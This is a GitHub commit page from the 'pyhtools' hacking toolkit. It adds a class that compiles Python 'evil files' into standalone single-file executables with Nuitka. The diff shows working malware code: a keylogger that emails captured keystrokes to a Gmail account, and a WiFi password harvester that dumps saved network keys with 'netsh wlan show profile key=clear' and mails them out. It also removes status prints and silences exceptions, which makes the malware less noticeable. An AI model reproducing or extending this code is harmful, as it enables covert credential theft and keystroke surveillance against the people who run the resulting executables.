Skip to content

Commit

Permalink
Merge pull request #13 from dmdhrumilmistry/generate-executables
Browse files Browse the repository at this point in the history
Implement class to Generate executables
  • Loading branch information
dmdhrumilmistry authored Jun 15, 2022
2 parents febac27 + aa19705 commit 11815e4
Show file tree
Hide file tree
Showing 12 changed files with 119 additions and 74 deletions.
7 changes: 7 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -143,3 +143,10 @@ dmypy.json
cython_debug/

# End of https://www.toptal.com/developers/gitignore/api/python

# exectuables
*.bin
*.exe
*.build
*.dist
*exectuables*
2 changes: 1 addition & 1 deletion examples/EvilFiles/Malwares/key_logger.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
from pyhtools.evil_files.malwares.keylogger import KeyLogger
from pyhtools.evil_files.malwares.keylogger.keylogger import KeyLogger

key_logger = KeyLogger(email='yourgmailaccount', password='yourpassword', interval_in_secs=60)
key_logger.run()
11 changes: 8 additions & 3 deletions examples/EvilFiles/Malwares/wifi-password-harvester.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,3 @@
import imp
from pyhtools.evil_files.malwares.wireless_password_harvester.harvester import WiFiPasswordHarvester

# create obj
Expand All @@ -9,5 +8,11 @@
smtp_port=587,
)

# start harvester
harvester.start()
# retreives only credentials
credentials = harvester.get_credentials()

# retreives creds and sends mail
if harvester.start():
print("[*] Process Completed.")
else:
print("[!] Process Incomplete, start again!")
12 changes: 12 additions & 0 deletions examples/EvilFiles/generatorScript.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
from pyhtools.evil_files.exec_generator import (Compilers, ExecutableGenerator)
from os import getcwd

exe = ExecutableGenerator(
file_path = r'D:\GithubRepos\pyhtools\examples\EvilFiles\Malwares\key_logger.py', # evil program file path
output_dir = '.', # output directory
compiler = Compilers.DEFAULT, # compile using DEFAULT, CLANG, MINGW
onefile = True, # creates single exe file
remove_output = True, # deletes all compiled files and retains only exe
)

return_code = exe.generate_executable()
68 changes: 68 additions & 0 deletions pyhtools/evil_files/exec_generator.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,68 @@
'''
module: generator.py
description: generates evil file executable
'''
from subprocess import call
from os import name as os_name
from enum import Enum


class Compilers(Enum):
DEFAULT = 0
MINGW = 1
CLANG = 2


class ExecutableGenerator:
'''
creates executable
'''

def __init__(self, file_path: str, output_dir: str = None, icon: str = None, compiler: Compilers = Compilers.DEFAULT, onefile: bool = True, remove_output: bool = True,) -> None:
# file options
self.__file = file_path

# set options
self.__options = {
'onefile': onefile,
'standalone': True,
'onefile': True,
'remove-output': remove_output,
'output-dir': output_dir,
}

# os based options
if os_name == 'nt':
self.__options['icon'] = icon
else:
icon = None

# compiler based options
if compiler == Compilers.CLANG:
self.__options['clang'] = True
elif compiler == Compilers.MINGW:
self.__options['mingw'] = True

def __generate_command(self):
command = 'nuitka '
for key in self.__options:
cmd = ''
value = self.__options[key]
value_type = type(self.__options[key])

# generate option
if value_type is bool and value:
cmd = f'--{key} '
elif value_type is str:
cmd = f'--{key}={value} '

# add option to command
command += cmd

# add file name and return
command += f'{self.__file}'
return command

def generate_executable(self):
command = self.__generate_command()
return call(command.split(), shell=True)
2 changes: 0 additions & 2 deletions pyhtools/evil_files/malwares/keylogger/keylogger.py
Original file line number Diff line number Diff line change
Expand Up @@ -84,7 +84,6 @@ def mail_report(self):
'''

self.log_no += 1
# print(self.logs)
self.send_mail()
self.set_subject()
timer = threading.Timer(self.interval, self.mail_report)
Expand All @@ -95,7 +94,6 @@ def run(self):
'''
run/start the keylogger.
'''
print('[*] Starting logger.')
key_listener = pynput.keyboard.Listener(on_press=self.log_key)

with key_listener:
Expand Down
5 changes: 3 additions & 2 deletions pyhtools/evil_files/malwares/utils.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
import requests


def send_mail(email: str, receiver_mail: list[str], password: str, message: str, smtp_server: str = 'smtp.gmail.com', smtp_port: int = 587) -> bool:
def send_mail(email: str, receiver_mail: list[str], password: str, message: str, smtp_server: str = 'smtp.gmail.com', smtp_port: int = 587, supress_exceptions:bool=True) -> bool:
'''
sends mail to specific address/addresses.
'''
Expand All @@ -14,7 +14,8 @@ def send_mail(email: str, receiver_mail: list[str], password: str, message: str,
server.quit()
return True
except smtplib.SMTPException as e:
print('[-] Exception : ', e)
if not supress_exceptions:
print('[-] Exception : ', e)
return False


Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
from pyhtools.evil_files.malwares.utils import send_mail
from os import name as os_name
import subprocess
import re

Expand Down Expand Up @@ -34,30 +35,31 @@ def get_username():
overall_nw_data = f'Subject: Received Credentials from {get_username()} \n'
ssid_passwds = 'SSID : Password\n'
for network_name in network_names:
if 'QuantumRegion' in network_name:
continue

# sanitize network name
network_name = network_name.replace('\r', '')
command = 'netsh wlan show profile "' + \
(network_name) + '" key=clear'

nw_info = subprocess.check_output(command, shell=True).decode()
# get password using netsh
nw_info = subprocess.check_output(
f'netsh wlan show profile "{network_name}" key=clear', shell=True).decode()
overall_nw_data += nw_info

passwd_res = re.search(r'(?:Key\sContent\s*:\s)(.*)', nw_info)
passwd = passwd_res.group(1)

passwd = None # AP without password security
try:
passwd = passwd_res.group(1)
except AttributeError:
pass
ssid_passwds += f'{network_name} : {passwd}\n'

overall_nw_data += ssid_passwds
return overall_nw_data

def start(self):
if os_name != 'nt':
raise
credentials = self.get_credentials()
if credentials:
if send_mail(self.email, self.email, self.passwd, credentials, self.smtp_server, self.smtp_port):
print('[*] Process Completed Successfully')
return True
else:
print('[-] Process Failed.')
return False
Empty file.
50 changes: 0 additions & 50 deletions pyhtools/executable_generator/generator.py

This file was deleted.

13 changes: 7 additions & 6 deletions requirements.txt
Original file line number Diff line number Diff line change
@@ -1,14 +1,15 @@
beautifulsoup4>=4.9.3
colorama>=0.4.4
#netfilterqueue (for linux devices only): sudo pip3 install --upgrade -U git+https://github.com/kti/python-netfilterqueue
nuitka
kamene>=0.32
scapy>=2.4.5
psutil>=5.8.0
prettytable>=2.1.0
pynput>=1.7.3
nuitka
pyfiglet>=0.8.post1
pynput>=1.7.3
pytelegrambotapi>=4.0.1
prettytable>=2.1.0
psutil>=5.8.0
pyinstaller
requests>=2.25.1
# wmi # for windows process management
scapy>=2.4.5
# wmi # for windows process management
zstandard
1 change: 1 addition & 0 deletions setup.py
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,7 @@
'pytelegrambotapi',
'pyinstaller',
'requests',
'zstandard',
],
classifiers=[
'Development Status :: 4 - Beta',
Expand Down

0 comments on commit 11815e4

Please sign in to comment.